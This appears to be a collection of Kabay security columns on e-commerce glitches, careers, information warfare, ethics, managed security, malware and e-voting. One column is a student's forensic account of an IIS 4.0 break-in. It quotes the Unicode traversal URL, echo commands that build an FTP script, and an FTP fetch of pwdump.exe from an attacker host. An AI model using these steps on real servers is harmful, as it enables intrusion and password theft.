I was downloading from Vermont using my StarBand account. I tried again after disabling my firewall -- no luck.

The customer service agent was very nice and obviously embarrassed about this situation and admitted that there are no measures in place for dealing with such a technical glitch. She diffidently suggested that I try to download the product again using a different ISP or Internet access point.

* Some Workarounds *

I did suggest that the company might deal with such glitches in several ways:

1) Check the IP address BEFORE the user fills out all the forms and the credit card gets debited.

2) Ask the user for strong evidence that they are in fact living in the US: e.g.,

2.1) use caller-ID to see the phone number of the caller who asks for help on this problem and cross check to see that it matches the number given in the order and is in fact listed in a telephone directory (available online) as corresponding to that person's name and address; or

2.2) have the user send a fax from the appropriate US fax machine phone line with a US driver's

license showing the same address as the one used in the order.

3) Simply send the user a CD-ROM to the US address listed in the order. They could even charge postage (although if I were in charge of customer service, I would not do so).

* Lessons for Web Designers *

If you are in charge of design for your Web site's e-commerce system, you might want to remember that the automated measures are for the convenience of your customers above all; telling a customer to try troublesome methods to overcome an error in the assumptions of your system is not a reasonable approach to customer service. If an automated system cannot handle a particular exception, then be sure that you have prepared manual procedures that allow the transaction to be completed at minimal cost to the customer and reasonable cost to you. Otherwise you are likely to generate bad feeling and – sometimes – bad publicity that can cost you a great deal more than the costs of an occasional manual transaction.

Of course, I cancelled the charge on my credit card. Someday (but not soon), I'll try to order and download the product from my university access point and -- if the university firewall does not conceal my IP address -- maybe I'll succeed in being allowed to give my money to these people in return for an upgrade to their product.

In the meantime, I'll just continue using my PGP v6.5.8.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Getting a Job in Information Security

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader recently wrote to me asking for advice on how to get a job in information security now that he's returning to the United States after 20 years abroad. Here's what I wrote back to him.

* * *

Welcome back!

I suggest that you prepare a professional resumé and determine your interests in what you want to do, where you are willing to live, and how little money you are willing to accept for work.

At that point, you should be ready to use various resources in finding a good job:

* Post your resumé on the big employment boards such as MONSTER.COM;

* Search the want-ads online and in appropriate paper publications looking for the kind of job you need (realizing that some of the jobs will have been filled by the time you see the ad in a weekly or monthly publication);

* If you are a member of professional societies such as the ISSA or (isc)^2, use their member boards to post your interest in work;

* Attend lots of professional conferences. Network with other attendees and with people in the trade show booths to get leads to interesting jobs;

* Identify organizations you are interested in working for and search their Web sites for suitable job openings and for the right contacts for applications;

* If there's a delay in finding a job, see if you can give interesting lectures in your areas of expertise at local (or larger) professional meetings;

* If you write well, submit articles to professional publications such as newsletters of local membership organizations (e.g., the local ISSA chapter) or for the national publications.

When you start getting interviewed, be prepared.. You can start standing out from the crowd by knowing about the place you're going.

* Study everything you can find about the organization you will be visiting. What do they do / make / regulate / want? What's their history? Who are their executives? If the organization does research, what's the most exciting part? Have there been problems lately?<

* Learn about the location of the site you will be visiting. Is there anything particularly interesting about it? Some historical importance? News about controversy, achievements, notoriety, fame? What are the names of the key streets (assuming it's a city)? Where's the shopping district, the business district? What are the main residential areas?

Be prepared for the obvious questions (and some of the not-so-obvious ones) that managers like to spring on you to see how you think and how you express yourself:

* Why should they hire you for a particular job? Think very hard about how you can help meet your potential employer's needs. Where do your skills and interests complement their requirements?

* Why are you interested in this job opportunity (and the answer should be more than, "Duuhhhh, I need a job." What particularly sparks your interest? How do you see this job evolving?

* Have you ever been a criminal hacker? If so, what did you do? Do you still do it (NO)? Why did you stop? Why should the employer trust you / believe you when you assert that you won't be involved in criminal activities again?

* Have you ever posted anything in a USENET group that is now embarrassing to you? [Remember, the USENET archives are wide open to review.]

* What are your career plans? Do you intend to job hop or are you interested in a longer-term relationship? Do you see potential in the organization you're applying to or is it likely to be a dead-end job for you?

* What are your strengths -- and in particular, the strengths that make you an especially good candidate for this job? And what evidence can you provide to support your claims?

* What are your weaknesses -- and in particular, the weaknesses that will make your job harder? How do you plan to compensate for these weaknesses? What evidence is there that you can overcome them?

* How flexible are you (and your family, if any) about relocation? How often would you be willing to move? Are there places you would refuse to live?

* What do you expect as compensation? That could include salary, benefits, stock options, bonuses, and profit-sharing depending on the organization. In my experience, you should know both your own minimum limits and your optimum (reasonable, rational, justifiable, sensible) expectations before you enter a negotiation.

When you get a job offer,

* Above all, you must be absolutely truthful and complete in your job applications. In the security field, especially, any dishonesty during the application process is grounds for dismissal. Would _you_ trust a dishonest security specialist?

* Read the employment contract carefully. Engage an attorney to review the contract with your interests in mind.

* If you do a lot of writing, programming, or other creative work in your off hours, be especially careful about clauses granting the employer all rights to your intellectual output. The results of work during work hours and using employer equipment can reasonably be assigned to the employer; however, if you like writing children's storybooks or inventing anti-gravity hovercraft in

your off time, you might be irritated if the employer tries to seize the rights to your intellectual property.

Best of luck to you in your job search!

Critical Thinking and Disintermediation (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the battlespaces of information warfare is the cognitive domain: knowledge, perception, attitudes and mood. For example, military campaigns have long used propaganda and misinformation to influence both the military decisions of the enemy and to discourage soldiers and civilians. In the Second World War, for example, the Nazis used radio broadcasts into Britain to spread false information about the progress of the war; conversely, the Allies broadcast to the peoples of the Axis powers to blame the governments, but not the population, for the war, thus attempting to drive a wedge between civilians and their regimes. In more recent years, there was a scandal in the USA in October 1986 about a reputed disinformation campaign during the Reagan administration in which government officials were accused of misleading the press to convey false information to Libyan dictator Qaddafi about an imminent attack. And of course currently there's a major division in the USA between those who argue that the administration deliberately misled the American people into a pre-emptive attack on Iraq versus those who suggest that the decision was based on incorrect information (or, for that matter, was correct despite the failure to find corroborative evidence of weapons of mass destruction).

Prof. Daniel Kuehl, PhD, is the distinguished Professor and Director of the Information Strategies Concentration Program at the Information Resources Management College of National Defense University in Fort McNair, Washington DC. A frequent contributor to scholarly analysis of information warfare, Dr Kuehl was the keynote speaker on Thursday the 11th of March 2004 at the 17th Annual Meeting of the Federal Information Systems Security Educators' Association at the University of Maryland University College. After his lecture, we got into a discussion about the information warfare implications of a couple of trends in modern society: disintermediation and the lack of critical thinking in the population at large.

More on this in my next column.

Critical Thinking and Disintermediation (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the second of two parts looking at the implications for information warfare of disintermediation coupled with a lack of critical thinking.

Disintermediation in general is defined by the Webopedia as "Removing the middleman. The term is a popular buzzword used to describe many Internet -based businesses that use the World Wide Web to sell products directly to customers rather than going through traditional retail channels. By eliminating the middlemen, companies can sell their products cheaper and faster. Many people believe that the Internet will revolutionize the way products are bought and sold, and disintermediation is the driving force behind this revolution."

Disintermediation in the distribution of news is the phenomenon of reducing gate-keepers in the flow of information from provider to user. For example, Matt Drudge is free to spread unsubstantiated rumors to a huge audience without having to bother with the fact-checking that is customary in responsible news media such as reputable newspapers or magazines and some television or radio programs.

Critical thinking is the ability to analyze information skeptically rather than gullibly. For example, people who open unexpected attachments in e-mail from friends are failing to distinguish among different targets of trust:

* Trust in the authenticity of the FROM line of an e-mail message (which may not, in fact, correctly identify the source);

* Trust in the technical competence of the sender to evaluate the quality of the attachment (which may not, in fact, correlate with how loveable and friendly Aunt Gladys is);

* Trust in the authenticity of the labeling of the attachment (which may not, in fact, really be a document at all but may be an executable);

* Trust in the description and safety of an attachment (which may not, in fact, be a screen saver with frogs).

Now couple disintermediation with a lack of critical thinking. Consider the likely effects of a concerted campaign to, say, spread a number of rumors about major publicly-traded companies. We know that pump 'n' dump schemes have successfully manipulated stock values to the benefit of criminals; why not expect terrorists to apply the same techniques to manipulating the entire stock market? If people are willing to believe and act upon stock tips e-mailed to them by total strangers using spam (even though tiny print clearly states that the junk mailer has been paid to distribute the information), why wouldn't uncritical thinkers cheerfully act on "advice" spread by enemies of the nation?

Similarly, the phenomenon of flash crowds worries me: training people to assemble on command in large numbers at, say, shoe stores, piano showrooms or restaurants for no good

reason other than the fun of being part of a huge crowd is a perfect setup for creating an army of willing, mindless drones who will congregate on command at the site of a terrorist attack or at places where their presence will interfere with response to criminal or terrorist activities. Want to rob a bank in peace and quiet? Set up a conflict between two instant crowds to draw the police to an instant riot.

I think that all of us in the IT, network and security fields are used to critical thinking. We have to be to keep up with the flood of technical information and distinguish marketing exaggerations from realistic information. We are used to writing and reading product comparisons, strategy evaluations and management recommendations as part of our work. Let's use our skills to foster critical thinking throughout the educational system. Let's work as volunteers on school boards, in the classroom and in social organizations to introduce critical thinking to children and adults who haven't learned how to distinguish reality from propaganda. Push for curriculum changes to accompany lessons on how to use the Internet with lessons on how to weigh the information found through e-mail and on the Web.

Let's make sure that we're not patsies for an information warfare attack rooted in disintermediated propaganda.

Teaching the Golden Rule in the Computer Age

Security Column by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A few months ago, I invited Scott Charney to expand on his ideas about educating children about ethical use of computers and networks in the age of the Internet. Charney was chief of the Computer Crime and Intellectual Property Section (CCIPS) in the Criminal Division at the U.S. Department of Justice (DoJ) from 1991 to 1999. He worked as a principal for PricewaterhouseCoopers and then in January 2002, Microsoft announced that he had agreed to become the Chief Security Strategist for the corporation < http://www.microsoft.com/presspass/press/2002/Jan02/01-31CharneyPR.asp >. Mr Charney has written the following essay on how adults can help ensure young people learn the basic rules of PC security and privacy; education programs can direct talent into positive pursuits. The following is the text he has very kindly sent me for publication in this newsletter.

* * *

Teaching the Golden Rule in the Computer Age
By Scott Charney

With each new report of a young person caught hacking into a computer system or circulating a computer virus, we get another stark reminder that for some kids today, traditional notions of ethics and piracy are missing, at least when they log onto their PC. But it's not entirely their fault. If you compare just how differently computer technology enters our kids' lives, as compared to the way previous generations learned about powerful technologies, you realize that kids need our guidance to learn and apply old rules to new technology.

Think about other powerful tools, such as automobiles. Automobiles are given to adults first, and then those adults, whether parents or teachers, educate younger individuals on the appropriate use of the technology. Computers, of course, are introduced in exactly the opposite way; children are given access to a powerful technology that, too frequently, neither their parents nor teachers fully understand.

In the days before script kiddies (unsophisticated hackers who run powerful hacking tools), a victim such as the United States Government could often tell whether a hacker was a serious threat. A hacker who was hunting and pecking on the keyboard, or having difficulty with programming syntax, was clearly unsophisticated. In such cases, it was sometimes appropriate to deal with the hacker by discussing his behavior with his parents. The scenario was often the same. Federal agents would explain to shocked parents that their son (it was almost always a boy) was hacking into the United States Department of Defense; the parents would respond with the same three statements: (1) it was great that their son had a hobby; (2) it was a high-tech hobby which might be of future value; and (3) at least their son was safely in his room and not out roaming the streets. These answers were all true but missed the basic point: adults needed to take responsibility and manage their child's use of this powerful technology.

What brought the problem into sharper relief were presentations to youngsters about computer ethics and respect for privacy. When asked if they would read their friends diary or enter a neighbor's home if a window was open, the answer was "no." But when asked if they would hack another person's machine, the answer was often "yes." The reason, of course, that children do not read a friend's diary or enter a neighbor's home has everything to do with education. Children are taught, at a young age, to respect the physical property rights of others. Unfortunately, adults did not react to the explosion in information technology with a massive campaign on ethical computing.

In sum, there has been no one to pass along society's collective rights and wrongs for PC use and Internet browsing. So kids do what kids often do when there's little adult guidance; they look to each other or develop their own rules, sometimes with costly and potentially dire consequences. For example, a young hacker in Massachusetts disabled an electronic telephone switch, preventing airlines from remotely switching on landing lights at a regional airport and forcing planes to be rerouted to other airports. Computer viruses spread by hackers including some quite young, have collectively caused billions of dollars of damage to governments, business and home PC users.

Even more troubling are the implications of seemingly innocent hacking in a post Sept. 11 world. Security experts must waste precious time and resources investigating all electronic intrusions, and could miss a potentially catastrophic attack while investigating a hacker with little or no evil intent.

The future of some of our most talented youth is also at risk. Once the unchanneled talents of young computer whizzes lead them to the wrong side of the law, there's a strong possibility that they will get stuck there and eventually tarnish their future with a criminal record.

As educators and parents, there are things we can do. We can learn more about what our kids are doing during those endless hours they spend online. We can take the time to learn about the risks, set appropriate rules, and regularly talk to our kids about these guidelines, ones that mirror the standards we set for our kids in other parts of their lives. Simply put, if it's not OK for Johnny to snoop in his sister's hardbound diary, it shouldn't be OK for him to crack the password of a private e-mail account and read another family member's mail.

That said, we shouldn't stifle young people whose talent and perseverance allows them to master and manipulate sophisticated technology. We should harness this talent to benefit these young people and society. Let's consider offering more lawful contests that challenge young people to test the security of computer systems. We might also create programs that help young people further develop their interest in technology into successful, lifelong careers.

If we are successful, things will hopefully be different when today's young people hand over the keys to the family computer to their kids.

Chuck Adams on Managed Security Services

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I met Chuck Adams, general manager of the ProWatch Secure® Security Services Group at NetSolve, Inc. < http://www.netsolve.com/ > at the Network World Security Events in the summer of 2001. Several months ago, he sent me the following thought-provoking essay about managed security services. In this column, we're publishing an edited version of his comments with the kind permission of Mr Adams. In the following text, "I" refers to Chuck Adams.

* * *

I would like to clear up confusion in the managed security services market and provide an explanation of what services customers should be asking managed security providers for in order to ensure they are not making themselves more vulnerable to compromise. Over the last 15 years, I have had the unique opportunity to witness the evolution of the information security industry from a non-existent, military-only issue to the full-scale selling of fear, uncertainty and doubt that exists today. My perspective is unique in that my exposure to security begin in the trenches of operations service delivery and has developed over the years to the consultative and strategic levels.

It is fundamentally important to remember that the entire security industry exists because of fear. This motivation may be fear for our safety or fear of losing information that is valuable and whose absence or corruption can cripple business. It is this fear that is fueling the desire for solutions. Solutions that reduce fear, either services or technologies, are becoming very complex, expensive, and difficult to understand. This increasing complexity is leaving our business and home networking environments more vulnerable and setting the stage for a solution to managing security other than depending solely on vendor offerings.

Managed Security Services (MSS) consist of the following four basic categories:

(1) Proactive professional services that offer expertise to an end-customer to answer the key questions about an enterprise's security. These services typically approach risk assessment and management through services like network vulnerability assessments, electronic mapping exercises, network architectural and design reviews, policy development, and technology or policy implementation / integration services.

(2) Managed infrastructure services provide ongoing monitoring and management services for systems and networks. These services cover network servers, routers, switches, firewalls, and intrusion detection sensors. The three main service components necessary for effective management of infrastructure devices of these types are

* fault monitoring and management,
* configuration management, and
* performance monitoring and management.

Unfortunately, some managed security services companies monitor only the firewall and intrusion sensors without considering the other infrastructure devices. This narrow focus is a

recipe for disaster because security involves the entire network. One must be confident that all of one's security technologies and primary protection tools are accurately detecting and reporting real and potential security incidents as they occur.

(3) Security monitoring services collect data from security and network sensors, correlate of these data, detect security events, and analyze and report on these events as they are detected. These services are predicated on the principle that monitoring alone is inadequate: in addition, one must provide proactive notification of vulnerabilities as well as analysis and resolution of errors and events involving security devices. All these functions are necessary elements of effective security management. Thoroughgoing security management requires

* tools to detect violation of policy and report the event fast,
* preparations in place to monitor and provide expertise for event analysis,
* the ability to compare the potential effects of each incident based on accumulated and systematized knowledge of exposures, and
* response to the event in near-real-time on behalf of the customer.

There are a few providers that successfully combine security monitoring and managed infrastructure services; this combination results in an effective security management solution that helps reduce fear. This full monitoring and management solution acts as a single provider to detect, analyze, and respond to an incident on behalf of the customer and to mitigate the effects of an event.

(4) Reactive professional services include incident response, evidentiary collection, and litigation support. These services can be delivered by highly specialized professional services firms. As more security technologies are deployed and more intrusion attempts are detected, reported and managed, these reactive services will become more defined and will be delivered by a broader range of service providers.

In summary, effective security management, whether provided in-house or by an external service, must be a function of network management and that viewed as an independent, isolated operation. Since data and information security requirements are distributed throughout the network, so must the processes, policies and services used to enhance the level of protection of this information.

Malware Case Studies

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this occasional series, I am showcasing some of the best short essays submitted by students in information assurance and cybercrime courses and programs at Norwich University. Mark Starry is a student in the MSIA (Master of Science in Information Assurance) program at Norwich; he submitted this work as one of his weekly essays in October.

The rest of this column is a slightly edited version of Mr Starry's report on some malware infections at his company and their practical effects. Mr Starry's report emphasizes how important user education and awareness are for fighting the secondary effects of malicious code attacks.

* * *

Nimda

Our corporation has been the victim of malware on many occasions. The most damaging attack occurred in September 2001 by a worm called Nimda. Nimda used an exploit found in unpatched versions of Microsoft's Internet Explorer browser to gain access to our corporate network and attack Web servers running Microsoft's Internet Information Server. This was the first worm to attack our corporate network that did not use e-mail as the initial transport mechanism. This was also the first worm that affected our ability to use the corporate intranet.

Upon the initial outbreak of Nimda, the server that provides the front end to our corporate intranet was immediately knocked out of service. This front end linked together many of the services that our organization requires to operate such as paging, payroll, drug interaction, and corporate policy. The hardest hit service on the intranet was the report to Web environment. We had just finished a project to move all printed reports that contain vital information to a Web-based interface on the intranet. The disruption of the report to Web service had an immediate effect on the quality of patient care as caregivers struggled to manually compile data. Our corporate Internet presence was also affected. Community tools like our physician finder and jobs database were unavailable. Information systems personnel worked around the clock for seven days before most of the services were restored. The effects of Nimda lasted for a month after the initial attack.

After the Nimda attack our information systems department used tactics like fear, uncertainty, and doubt to insist that administrators patch all servers running Microsoft's operating systems. Because our organization does not provide an ample test environment for the number of servers in operation, many patches and service packs were applied without first being tested. This process caused significant damage to many servers that had not been affected by Nimda. These events further extended the overall corporate losses from the original worm. There has never been a dollar value placed on the damage done by Nimda to our organization, but it is safe to assume it was significant.

Kournikova

Some malware authors intend their code to be harmless, but this is never the case. Any known form of malware must be investigated and eradicated in order to protect the integrity of a computer or network. Even a virus with a harmless payload requires a significant amount of our corporate resources and causes a noticeable effect on productivity. Such was the case with the Anna Kournikova virus in February of 2001. In order for us to provide a signature update for this virus, our anti-virus software provider required us to update the scan engine in their program. After distributing the required updates, we soon found out that users running the operating system Windows 98 could no longer print. The cause of the problem was determined to be a conflict between a dynamic link library (.dll) file that is shared between the scanning and printing processes. The scan engine was allowed to update this file, but could not be used to restore it. Our corporate mechanisms for updating files on PC's could not be used due to the fact that the graphical interface locks the file and flags it as in use. All of the PC's running Windows 98 had to have new images placed on them to correct the problem. This problem consumed valuable corporate resources and undermined the credibility of the information systems department.

Hoaxes

Virus hoaxes are another growing problem in our corporate environment. Hoaxes can consume just as many resources as an actual virus. Even when prominent anti-virus experts quickly publish the fact that a virus is a hoax, some virus hoaxes continue to work for years. One particular hoax, jdbjdmr.exe, has been problematic to our corporation. This hoax asks the user to delete a particular operating system file because it is (falsely) described as a planted virus acting as a time bomb. Deleting this file affects the way certain Java applications run. The hoax also asks the user not to forward the message to anyone else because they state that is how hoaxes are started. Our help desk and desktop support team have spent many hours helping users restore this file.

Concluding remarks

Defending against malicious code will always be an important factor to the security of our information systems. The cycle of vendors releasing new software and new exploits being discovered in these software applications will continue for the foreseeable future. As we offer increased services that give users many ways to connect to our systems, we will increase the potential for malware infestations in our information systems. As a corporation we should continue to increase the user awareness by educating them on types of behavior that could lead to such a threat.

Privacy for Business: Web Sites and E-Mail

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My dear friends and colleagues Stephen Cobb, CISPP and Chey Cobb, CISSP are remarkable individuals. They each have sterling personal qualities such as intelligence, warmth and kindness; they also have exceptional professional experience from a wide range of IT and security consulting, teaching, and writing. They are a remarkable couple in many ways; in particular, both have just published their own security books. Stephen has written a superb manual for businesses on practical approaches to protecting privacy and Chey has written a textbook on network security. I'll start with a review of Stephen's book (he sent me his first) and continue in a following column with a review of Chey's new book.

* * *

Stephen Cobb has written many books; all of them have been up to date, helpful, and clearly written. His writing follows the cardinal rules of good writing in English such as
* Use the simplest word that will express your thought.we
* Where possible, choose short words with Anglo-Saxon roots instead of long words with Greek and Latin roots.
* Never use a long, complicated sentence when you can use a series of short, clear sentences.
* Ever word, every phrase, every sentence, every paragraph, every page, and every section of your text must support your purpose in writing.
* Be personal and direct: use "I" if it's the natural way of expressing yourself and avoid impersonal passive constructions.
* Salt your prose with humor.

Privacy for Business: Web Sites and E-mail begins with a useful introduction that sets expectations. The book is intended "for anyone who works with. . . Web sites and personal information. . . . [and] anyone who manages [such people]." It is not for those seeking consumer privacy education, general discussion of the social and political implications of privacy, or detailed technical configuration information (Cobb recommends resources for all of those areas).

Chapter One, "Privacy and Business Today," looks at fundamentals of privacy in the age of the Internet. I especially enjoyed his discussion of "the privacy landscape" determined in the United States primarily by marketers and privacy advocates.

Chapter Two, "Privacy Incidents and Their Costs," analyzes the many ways that businesses lose money when they breach standards of privacy protection; I liked the spreadsheet.

Chapter Three is "Web Privacy Principles" and it reviews US laws and guidelines such as the FTC core principles for fair information practice. It also reviews international agreements about privacy rights such as the OECD Guidelines. Chapters Four and Five look in more detail at US and European laws specifically addressing privacy.

Chapter Six discusses privacy policies and privacy statements and gives many useful examples

for consideration by policy makers. Chapter Seven continues along the policy line by discussing how to respond to breaches of privacy policy.

Chapter Eight reviews e-mail-related privacy issues such as masking distribution lists, fighting spam, the dangers of spoofed origination addresses and privacy invasion using fraudulent Web sites. This chapter has practical advice on how professionals can be sure that their e-mail conforms to the highest standards of business practice and effectiveness.

The book ends with Chapter Nine about "Tools, Seals, Techniques" such as commercial privacy products, the P3P Platform for Privacy Preferences Project, and privacy certifications such as the TRUSTe and BBBOnLine programs.

Cobb wraps up with a good "Summing Up" chapter.

My one criticism (and the only evidence that I am ABLE to criticize at all) is that, shockingly, this book has no index. I cannot imagine why anyone would go to all the trouble of writing such a useful book and then not include an index. Stephen can make up for this omission by creating one and posting it online!

In summary, I recommend this book to anyone who fits Stephen's desired audience – which probably includes pretty much everyone reading this column. Congratulations, Stephen.

A Case of Directory Traversal

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In coming weeks, I'll be showcasing some of the best essays submitted by students in information assurance and cybercrime courses and programs at Norwich University. Today, we have an account of an interesting attack method that Curtis Coleman, CISSP ran into. Mr Coleman is a student in the MSIA (Master of Science in Information Assurance) program at Norwich; he submitted this work as one of his weekly essays in October. The assignment was as follows: >Interview appropriate colleagues in your organization and discuss real cases of penetration or, if there have been none (or if your organization has never noticed any), discuss the possible consequences of hypothetical penetration scenarios. Briefly summarize the key points of your findings and speculations in the usual short essay of 1,000 words.<

From this point on, the text is entirely Mr Coleman's (with some slight edits for space and style):

* * *

Since I [Curtis Coleman] do not have authority from my corporate communication department to discuss on-going cases, the following is a fictional scenario based on a true case. All the actual IP addresses involved have been changed to values reserved by the Internet Assigned Numbers Authority (IANAL) for illustrative purposes. The complete listing of evidence findings and URL commands will not be disclosed; the details of commands will not be given, only summaries and enough information to follow the investigation. The clean-up procedures will not be discussed in this essay.

Background

I was paged at 12:02am, January 1, 2000. The first hours of the new millennium and instead of celebrating I was heading into the office. The page was an automatic notification of an alert from my Intrusion Detection System. All it said was an internal Web server had just started an ftp session and did a "get" command to an unknown source. The alarm was due to the fact that the Web server is not an ftp server, and it had initialized the session to an outside target. The emergency response team members were already excited about potential Y2K problems, this mysterious activity only added fear to the situation.

Forensics

Initial discovery revealed that the "ftp" server is actually an internal Web server supporting CRM, hosting the forum group for customers to discuss disc drive problems and troubleshooting procedures. This server is not in the DMZ; instead, a Netscape Enterprise server redirects URLs to the Windows NT server running Microsoft IIS 4.0 Web server. The server logs showed that an ftp session had been started from the server. When I saw what file the session "get" command got, my heart started racing. The target file was "pwdump.exe," a well known tool used by hackers to extract the encrypted Windows NT passwords to a file. This extracted data are then processed by a hacker tool called "L0phtCrack," which is able to break the encrypted passwords.

The initial evidence pointed to a hacker penetrating our defenses, uploading a hacker tool, and potentially having control now of all the passwords to this server. I knew this was criminal, but if I reported to the law authorities now, I would lose my ability to conduct any further investigation, and I wanted to know exactly how this was done. So, I took a chance and continued gathering evidence.

A file search on the Windows NT server showed an unauthorized script file, ftpscr.txt. This script looked something like this:

```
Jackoff
2$hort4U
bin
get pwdump.exe
quit
```

The questions that were burning in my mind were, "How did the hacker get this file onto this server? How did he get past our firewall, IDS, and front-end servers to this system inside our company? And how did he execute this file?"

I next started looking at the thousands of records in the IDS logs. Since the IP address of the Windows NT server would not be in my logs, because it is a redirected system from the Netscape Enterprise server, I had to look for the Netscape's address instead. After a couple of hours poring over the logs, I hit pay dirt.

```
http://10.68.1.2/content/../scripts/..%c0%af../winnt/system32/cmd.exe?/c+set
```

The Netscape Enterprise server's IP address is 10.68.1.2, and it runs on a Solaris Unix machine, so why is this URL doing something with "winnt/system32"? It turned out that this was our key to breaking how the hacker was able to successful penetrate our firewall, and control that Windows NT server.

From my PC, I ran the above URL and got in my browser a "CGI Error" that gave me the results of the "set" command being ran on the Windows NT server at the IP address 10.68.5.2. This is the same Windows NT system that had the ftpscr.txt. I went back to the IDS logs, ran grep looking for 10.68.1.2, and isolated all URLs that contained the "winnt/system32" string. A pattern was revealed. The Netscape Enterprise server was translating any URL with "/content/" to http://10.68.5.2/content/ and this new URL was sent to the internal IIS Web server on 10.68.5.2. The IIS Web server then substituted "/scripts/" for the "/content/" path internally because of the ".." between the two strings. The URL became:

```
http://10.68.5.2/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set
```

The IIS 4.0 Web server interpreted the unicode "%c0%af" as "/" thus the Windows NT server at 10.68.5.2 executed the set command and the results were sent to the browser. With the set results displayed in his browser, the hacker knew he had found a hole into our systems.

Using this vulnerability, the hacker was then able to build the ftpscr.txt script on the 10.68.5.2 server using the "echo" command in the URL.

```
echo Jackoff > ftpscr.txt
echo 2$hort4U >> ftpscr.txt
echo bin >> ftpscr.txt
echo pwdump.exe >> ftpscr.txt
echo quit >> ftpscr.txt
```

The next step in the attack was the execution of the ftpscr.txt script. Studying the IDS logs, I saw a command I had never seen before. The hacker executed "ftp –s:ftpscr.txt 172.16.34.2". This command showed me that ftp can run in script mode. To get this to work, the hacker had to provide his IP address, 172.16.34.2, where the hacker tool was stored. It was this unusual, and unauthorized, execution of ftp from the IIS Web server that activated the IDS alarm, that paged me just 4 hours earlier. So that was how the hacker got the pwdump.exe tool onto the server. Both the Windows NT and IDS logs showed that the hacker executed the pwdump.exe tool and redirected the results to his browser, where he must have copied it and ran it through L0phtCrack.

Wrap-up

Within four hours I had gathered enough evidence. I knew exactly how the crime was committed, and I had the tracks back to the hacker's hideout. Around 1:00pm, less than 24 hours after the crime was committed, the suspect was arrested: a local college student who was caught red-handed hacking from his dorm room.

Fortunately for my company, the impact of this attack was minimal. The attacker only obtained the passwords for eight accounts; due to enforced policies, those accounts were not available on other systems. A follow-up "root cause" analysis meeting was held and all vulnerable IIS 4.0 Web servers were updated with security patches.

E-Voting (1): Not Ready Yet

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Electronic voting has been proposed in a number of precincts in the USA. One of the most extensive archives of discussions about this issue is the RISKS FORUM DIGEST edited by Peter G. Neumann of SRI Intl. Entering "vote" as a keyword in the search engine available through at < http://catless.ncl.ac.uk/Risks/ > brings up 303 entries starting with Volume 1 Number 1 [henceforth notated as "v(n)" for the volume and number] in 1985; additional articles can be found using other related keywords such as "voting" and "election."

One of the most recent contributions comes from Jonathan Kamens, writing in RISKS 22(39) (23 Nov 2002). He describes a system that allows a voter to mark a paper ballot and then feed it in through an electronic reader. Kamens points out that the card-reading voting system proposed for Boston MA has fundamental problems:

* There is no way for a voter to verify that the system is correctly registering the voter's choices on the ballot.

* If the card reader indicates that a card has not successfully been registered, a voter can be given a second card -- but the invalid one goes straight into a locked ballot box. If there's a recount, someone could get both their ballots counted.

In general, e-voting systems can include any or all of the following functions, each requiring increasing degrees of security:

* Automatic reading and tallying of votes made on paper ballots;

* Accepting votes using electronic input devices such as electric pens, touch-screens, and keyboards;

* Remote voting at a distance.

E-voting systems need to include at least the following security characteristics:

1) Remote voting requires identification, authentication and authorization PLUS guarantees of complete privacy as well as measures to prevent fraudulent exclusion of valid voters and fraudulent acceptance of repeated votes by individuals.

2) Electronic data entry should include all the measures developed in the last 40 years of data processing to reduce the likelihood of user error; such measures include

a) feedback to the user to be sure that what was entered was what was recorded;

b) error checking and alerts to prevent obvious blunders such as voting for two people for the

same position if that is not permitted;

c) provision of overrides so that voters can deliberately spoil their ballot if that's what they want to do;

3) Fail-safe redundancy so that no single point of failure or even widespread denial-of-service attacks could wipe out voter's intentions;

4) Cryptographically strong local and remote audit trails to keep multiple independent records of all votes; such files could include checksums that are calculated using the preceding record's checksum as input to the hashing algorithm (to reduce the ease of fraudulent tampering with the records).

One of the most serious questions raised about e-voting is independent of security: it's the issue of equal access. Will widespread e-voting lead to increased disparity between the voting patterns of richer and poorer people among the electorate? Will e-voting be yet another example of what has been called the "digital divide?"

* * *

In the next article in this two-part sequence, I will look at some detailed analyses of e-voting with special attention to security.

E-Voting (2): Security Analyses

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first of these two short articles, I've been introducing e-voting. In this part, I summarize some key analyses of the security issues surrounding remote voting via the Internet.

In a July 2002 article posted on the BBC Web site, commentator Bill Thompson comments on a recent Green Paper proposal by Robin Cook, Leader of the House of Commons. Cook includes two methods for increasing the involvement of the public in government decision-making: "For the government, the two strands that make up e-democracy are ways to enhance participation (e-participation) and electronic voting (e-voting)." Thompson argues that the vulnerabilities of any e-voting system built in the next few years should preclude any use of such insecure technology. He writes that the consequences of fraud would be so serious that large amounts of investment would be profitable if they swayed the direction of an election. For example, "If we all use trusted processors then why not set up a production line to manufacture your own hacked chips? It would only cost a few tens of millions of euros. If all code has to be signed by some digital authority, why not spend a few million bribing the senior staff?"

A much longer and more detailed analysis of e-voting is from the respected scientist Avi Rubin of AT&T Labs. Rubin neatly summarizes the issues as follows [I have added the asterisks as bullets and slightly changed the punctuation]: "There are many aspects of elections besides security that bring this type of voting into question. The primary ones are

* coercibility – the danger that outside of a public polling place, a voter could be coerced into voting for a particular candidate.

* vote selling – the opportunity for voters to sell their vote.

* vote solicitation – the danger that outside of a public polling place, it is much more difficult to control vote solicitation by political parties at the time of voting.

* registration – the issue of whether or not to allow online registration, and if so, how to control the level of fraud."

